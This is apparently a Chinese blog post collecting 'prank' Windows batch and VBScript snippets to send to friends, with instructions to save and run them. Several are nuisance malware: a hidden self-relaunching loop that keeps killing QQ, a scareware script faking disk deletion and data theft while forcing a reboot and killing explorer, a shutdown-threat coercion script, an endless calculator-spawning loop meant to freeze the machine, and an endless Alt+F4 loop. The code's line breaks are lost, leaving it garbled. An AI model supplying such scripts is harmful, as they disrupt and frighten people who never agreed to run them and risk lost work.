Python实战之整蛊神器合集加速友尽 Python实战之整蛊神器合集加速

导语
正文

（1）杀死ta的QQ。
?（2）格式化磁盘。
（3）让ta说ta是猪。
?（4）直接死机。
?（5）一直说You are pig!
(6)重复说话200次。
（7）给我按200次回车。
（8）Alt+F4超可怕。
（9）问答形式。
（10）强制表白。
番外篇——表白！

?总结

导语哈喽！哈喽！我是木木子，最近沉迷整蛊这种类型的代码，特别有趣好玩！
虽然踩中了特别多的坑，但是越玩越上瘾呀！这里整理了蛮多整蛊的代码，好东西就是需要分享的嘛~
每周一招维护友谊的小秘诀，欢迎大家来到木木子新开的——友（zheng）爱（gu）小课堂！

文章图片

今天木木子给大家带来了几个，整蛊朋友的办法，赶快拉上至今还陪在你身边的老铁试一试这几招吧！
如果是发给你喜欢的人的，肯定追着你！想让女神/男神追着你跑嘛？那还不赶紧的学起来！

文章图片

文章图片

【Python实战之整蛊神器合集加速友尽】
正文 Come On 我们来点有技术的！嘿嘿嘿~

（1）杀死ta的QQ。

@echo offif "%1" == "h" goto beginmshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit:begintasklist |find /i "QQ.exe"if %errorlevel%==0 (goto killit) else (goto next):killittaskkill /f /im QQ.exe:nextping -n 3 127.t >nul 2>nulgoto begin

把以上代码保存成txt格式，然后把后缀改成bat,然后双击运行嘿嘿，那他的qq就不能运行了哟~

?（2）格式化磁盘。

@ color 4f @echo offecho 删除计算机的C盘的所有文件......ping 127.0.0.1 /n 2 >nulecho 已删除完毕echo.echo 删除计算机的D盘的所有文件......ping 127.0.0.1 /n 2 >nulecho 已删除完毕echo.echo 删除计算机的E盘的所有文件......ping 127.0.0.1 /n 2 >nulecho 已删除完毕@ colorecho.echo. =========================================echo. 啊哈哈，都删关，都杀关，哈哈 ……echo. =========================================echo. 系统将马上崩溃......echo. 这是一个木马程序......您的所有资料已经传到 XXXX@163.comshutdown /r /t 30 /c "电脑在30s内即将崩溃,哈哈，你活该！"ntsd -c q -pn explorer.exeping 127.0.0.1 /n 20 >nulstart explorer.exeshutdown -a

将以上部分保存到txt格式，然后把后缀改成bat就可以运行了，运行后他的磁盘会被格式化。
当然那是假的。。。用来吓人的。。。希望你玩的愉快。。。

（3）让ta说ta是猪。

set WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""","说不说","",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"

新建一个记事本把上面的代码复制进去另存为VBE格式的就可以了，让对方说他是。

文章图片

?（4）直接死机。

set wsh=createobject("wscript.shell")dowsh.run "calc"loop

新建一个记事本把上面的代码复制进去另存为VBE格式的就可以了
打开无数个计算器，直到死机。

?（5）一直说You are pig!

do msgbox "You are pig!" loop

(6)重复说话200次。

Set WshShell = WScript.Createobject("WScript.Shell")for i = 1 to 200WScript.Sleep 1WshShell.SendKeys"^v"wshShell.SendKeys"{ENTER}"next

（7）给我按200次回车。

for i = 0 to 200 msgbox "回车[滑稽]",64next

（8）Alt+F4超可怕。

doSet WshShell = WScript.Createobject("WScript.Shell")WshShell.SendKeys "%{F4}"'%代表Alt'loop

（9）问答形式。

a=msgbox "你是不是有点儿蠢?",vbOKCancelif a = vbOK thenmsgbox("确实有点儿！")elseif a=vbCancel thendomsgbox("蠢蠢的！")loop

问答2——借钱的时候场景再现哈哈哈。

msgbox "你在吗",vbQuestion,"在吗"msgbox ("我借你1w块钱")msgbox ("1个月给你")msgbox ("不给，我就是PIG")dim jdo while j<1Select Case msgbox("借给我好吗",68,"请郑重的回答我")Case 6 j=1Case 7 msgbox("想好了再说")end Selectloopmsgbox("我就知道你会同意的，哈哈哈哈")

（10）强制表白。

Dim Style,Title, Help, Ctxt,MyString '定义变量Dim Msg1,Msg2,Msg3'定义消息文本Dim Response'定义返回对象Dim Msg()redim Msg(4)Msg(0)="做我女朋友好不好？"Msg(1)="就知道你会说好！"Msg(2)="你是我的小可爱嘞！"Msg(3)="所以我必须是你的大可爱！"Style=vbYesNo+vbInformationTitle="小姐姐是我的小可爱" for i=0 to 3Response=MsgBox(Msg(i),Style,Title)If Response=vbYes Then ' 用户选择[是]MyString="Yes"' Perform some action.Response=MsgBox("4号小姐姐搞定",vtOKonly,Title)exit forElse' 用户选择[否].MyString="No"' Perform some action.Ifi =3 Theni=-1End IfEnd If Next

效果截图——vbs运行之后：